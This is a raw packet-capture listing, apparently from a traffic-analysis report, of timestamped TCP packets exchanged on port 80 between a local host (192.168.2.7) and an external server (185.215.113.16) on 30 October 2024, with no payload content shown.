Oct 30, 2024 04:34:36.399678946 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.399692059 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.399703979 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.399713039 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.399725914 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.399736881 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.399748087 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.399753094 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.399760008 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.399774075 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.399775028 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.399960995 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400149107 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400161028 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400171995 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400182009 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400192976 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400202990 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400206089 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400218010 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400223017 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400228977 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400242090 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400252104 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400254011 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400265932 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400275946 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400278091 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400299072 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400345087 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400717020 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400727034 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400737047 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400748968 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400760889 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400762081 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400773048 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400785923 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400787115 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400799036 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400810003 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400815964 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400821924 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400832891 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400839090 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400849104 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400861025 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.400861025 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.400935888 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.401335001 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401346922 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401357889 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401364088 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401376009 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401382923 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.401390076 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401401043 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401411057 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401412964 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.401441097 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.401762962 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401774883 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401787043 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401798010 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401809931 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401822090 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401825905 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.401834965 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.401865005 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.401884079 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.517469883 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517493963 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517508030 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517548084 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.517651081 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517663002 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517674923 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517688990 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517693996 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.517709970 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.517847061 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517858028 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517868996 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.517893076 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.517918110 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.517993927 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518004894 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518017054 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518037081 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518038988 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.518049955 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518063068 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518075943 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.518091917 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.518244982 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518295050 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518306971 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518316984 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518335104 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.518369913 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.518553019 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518563986 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518574953 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518585920 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518593073 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.518600941 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518637896 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.518831968 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.518872023 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.518924952 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552243948 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552254915 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552287102 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552305937 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552355051 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552366018 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552393913 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552422047 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552432060 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552434921 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552464008 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552489996 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552499056 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552552938 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552553892 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552562952 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552573919 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552584887 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552599907 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552633047 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552675962 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552686930 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552699089 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552711010 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552731991 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552763939 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552891970 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552902937 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552912951 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552925110 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.552939892 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.552968979 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553108931 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553119898 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553132057 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553143978 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553155899 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553160906 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553186893 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553353071 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553364038 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553380966 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553390980 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553396940 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553404093 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553451061 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553507090 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553523064 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553534985 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553570032 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553675890 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553688049 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553699017 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553709030 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553721905 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553733110 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553744078 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553752899 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553757906 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553766966 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.553787947 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553818941 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.553992987 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554011106 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554022074 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554033041 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554042101 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554044962 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554056883 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554064035 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554066896 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554083109 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554119110 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554316044 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554327965 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554339886 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554351091 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554361105 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554369926 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554394007 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554455996 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554501057 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554538965 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554549932 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554560900 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554572105 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554584026 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554593086 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554595947 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554605961 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554615974 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554668903 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554867983 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554879904 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554891109 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554913044 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554930925 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554934025 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.554943085 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554954052 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554965973 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554976940 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.554990053 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555022955 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555289984 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555300951 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555318117 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555329084 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555340052 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555354118 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555354118 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555388927 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555565119 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555577040 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555588007 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555598974 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555609941 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555614948 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555622101 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555636883 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555641890 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555654049 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555664062 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555670023 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555680990 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555691004 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555694103 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555706978 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.555727005 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.555752039 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.636614084 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.636631012 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.636672974 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.636699915 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.636887074 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.636900902 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.636954069 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.637042999 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637053967 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637078047 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637085915 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.637119055 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.637193918 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637204885 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637247086 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.637358904 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637370110 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637381077 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637393951 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637428999 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.637458086 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.637617111 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637629032 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637639999 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637670040 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.637773991 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637784958 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637797117 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.637825966 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.637856007 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638089895 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638102055 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638112068 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638124943 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638144016 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638163090 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638166904 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638179064 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638190031 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638200998 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638231993 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638279915 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638432026 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638602972 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638614893 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638624907 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638642073 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638648033 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638653994 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638664961 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638669014 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638676882 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638688087 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638700008 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.638700962 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638731956 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.638761997 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.639272928 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.639296055 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.639307976 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.639358044 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.671394110 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671407938 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671420097 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671453953 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.671505928 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.671526909 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671536922 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671576023 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.671719074 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671732903 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671746969 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671783924 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.671874046 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671885014 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671897888 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.671951056 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.671951056 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.672049046 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672060966 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672070980 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672085047 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672108889 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.672137976 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.672190905 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672202110 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672241926 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.672379017 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672393084 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672405005 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672415018 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672425032 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672435999 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672439098 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.672457933 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672462940 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.672480106 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:36.672550917 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672563076 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:36.672574997 CET	80	49781	185.215.113.16	192.168.2.7
